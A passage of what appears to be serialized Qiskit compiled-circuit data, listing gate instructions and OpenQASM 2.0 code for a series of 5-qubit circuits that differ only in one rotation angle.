[], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1201', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1203', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1205', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1207', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 